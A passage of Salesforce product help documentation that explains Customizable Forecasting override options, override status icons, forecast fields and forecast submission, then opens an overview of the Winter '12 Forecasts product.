the hierarchy.
2508
Customizable Forecasts
Reject all forecast overridesUse this option to ignore all forecast-level overrides but include opportunity-level
overrides. If you have overridden amounts at the opportunity, your own opportunity forecasts are used in this calculation.
Choose this option if you want forecast amounts to be based on opportunity amounts including overrides made at the
opportunity level.
Override the forecast and set it toUse this option to enter an amount that replaces the current amount in your
forecast. Your manager will see this amount in your forecast but your subordinates will not.
4. If you forecast on both revenue and quantity, choose an override option for quantity forecast.
5. Click Save. The forecast is marked with the appropriate icon indicating its override status. For a description of each override
icon, see Forecast Override Indicators.
Note: The Forecasts tab is unlike other tabs in that it automatically calculates data for you based on your opportunity
data. You do not need to create or delete forecast records.
See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Forecast Override Indicators
An icon displays for each override to indicate the status of the override. Use the following table to determine the status of an
override.
Icon
Override Status
The opportunity has been updated since an override.
A subordinate has overridden the forecast.
A person that reports directly to you has overridden the
forecast.
You have overridden the forecast.
2509
Customizable Forecasts
Icon
Override Status
The forecast data is not up-to-date. Refresh your browser in
a few minutes.
See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Overriding Customizable Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
Here is a description of the fields (in alphabetical order) that make up a forecast in customizable forecasting:
Forecast Fields
Field
Description
Comments
Forecast Category
Forecast Item
Revenue
2510
Customizable Forecasts
Field
Description
Quantity
My Forecast Override
Submitted By
Type
Description
My Forecast Amount
My Forecast Category
My Forecast Comments
My Forecast Period
Override Forecasts
Note: This information applies to Customizable Forecasting and not to other forecasting products.
On the Forecasts tab, your forecast totals are always available to you and users above you in your role hierarchy. However,
forecast totals are only available in forecast history and reports after you submit them. You can submit your own forecast or
any forecast data that has been manually shared with you and you have permission to submit.
To submit your forecast:
1. Click Submit from your forecast on the Forecasts tab.
2511
Forecasts
Forecasts Overview
2. Click OK to confirm. Salesforce takes a snapshot of your forecast totals and makes them available in reports and your
forecast history.
See Also:
Tip sheet: Using Customizable Forecasts
Administrator tip sheet: Setting Up Customizable Forecasting
Do I Have Customizable Forecasting?
Managing Customizable Forecasts
Viewing Customizable Forecasts
FORECASTS
Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
Predict and plan your sales cycle from pipeline to closed sales, and manage sales expectations throughout your organization
with Forecasts. A forecast is an expression of expected sales revenue based on the gross rollup of a set of opportunities. Forecasts
include adjustments made by forecast users to their subordinates' forecasts as well as adjustments made by these subordinates
on the forecasts of the users below them in the forecast hierarchy. Forecasts are organized by forecast category and period in
the rollup table on the forecasts page. Here, users can view forecasts and related opportunities by forecast category for just one
person or everyone below them in the forecast hierarchy. For example, they can see the July Best Case forecast for all the sales
managers who report to them, all the sales reps who report to any one of their managers, or just one individual. With forecasts,
you have the flexibility to perform many tasks. Forecasts include:
Interactive, expandable tables that let users select and view their own forecasts and those of their subordinates.
Forecast summary information for single months and a multi-month range, for each forecast category.
A list of related opportunities that updates dynamically according to the forecast selection.
Access to related details, including who made adjustments and original forecast amounts, and the ability to adjust these
details.
Access to opportunity records directly from the forecasts page.
A convenient method for forecasts managers to move up and down through the forecasts hierarchy.
Support for multiple currencies.
Quota information available on each users forecast page.
The feature works with the forecasts hierarchy. Users can view the forecasts and related opportunities of their subordinates at
all levels of the hierarchy, and adjust the forecasts of subordinates one level beneath them. The user interface makes it simple
to conduct status calls with a sales team because users can move around it with ease. If an organization is set up for multicurrency,
2512
Forecasts
users can view forecasts in any active currency. Forecasts use an organization's corporate currency by default, but users can
select a display currency from any of the organization's active currencies.
See Also:
Setting Up Forecasts
Working With Forecasts
Forecasts Hierarchy Overview
Viewing Opportunity Details from a Forecast
What's the difference between the Forecasting features?
Note: This information applies to the Forecasts product beginning with the Winter '12 release. See Customizable
Forecasting Home on page 2504 if you use Customizable Forecasts.
The Forecasts feature is designed to help you easily find and communicate opportunity and forecast information. This table
explains what a forecast is and defines the elements that affect and contribute to a forecast.
Concept
Definition
Adjustment